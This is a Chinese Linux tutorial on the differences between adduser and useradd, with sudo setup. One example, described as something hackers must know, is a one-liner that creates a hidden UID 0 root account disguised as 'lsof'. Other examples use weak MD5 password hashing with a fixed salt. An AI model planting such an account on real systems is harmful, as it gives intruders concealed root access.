adduser 和 useradd 的区别
useradd 是没有人机对话过程的,只有明确指定参数才可以创建主目录,便于使用脚本调用,更灵活。
adduser 命令是对话式创建用户,它会提示操作者输入密码和再次确认密码,可以不带任何参数使用,完成后自动创建主目录,。
useradd创建用户的过程和设置密码是分开进行的,它们分别对应:
#创建一个用户 newuser,并创建主目录( -m 参数)
useradd -m newuser
#为 newuser设置密码,passwd 命令的优点是可以使用明文设置密码,比较方便
passwd newuser
#也可以一次指定全部参数,注意:不支持以明文方式指定密码
useradd -p `openssl passwd -1 -salt 'salt' 123456` -d /home/newuser -G GROUP newuser
#加密密码时也可以不加盐
useradd -p `openssl passwd -1 123456` -d /home/newuser -G GROUP newuser
#一句话添加一个root级别的账户并设置密码的命令. 用户名lsof, 密码admin,黑客必会
useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -g root -G root -s /bin/bash -d /usr/bin/lsof lsof
# -p `openssl passwd -1 -salt 'lsof' admin` 这个里面的指的是设置用户的密码,里面的lsof差不多是密钥之类的,可以随便写, admin是明文密码
# -u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
# -g root -G root 将用户添加到root组
# -s /bin/bash 指定新建用户的shell路径
# -d /usr/bin/lsof 新建用户的主目录,可以自己定义
# lsof 新建的用户的用户名
上面三个过程,如果用adduser创建的话,就只需要:
#创建一个用户newuser,并交互式的设置密码
adduser newuser
设置sudo权限
为用户添加sudo权限,可以使用修改 sudoers和adduser两种方法,推荐使用第二种:
- 使用
sudo visudo命令修改sudoers文件,添加
newuser ALL=(ALL) ALL
- 使用
adduser命令,直接一行:
adduser newuser sudo
- 也可以在使用
useradd命令时直接以-G参数指定用户组。

浙公网安备 33010602011771号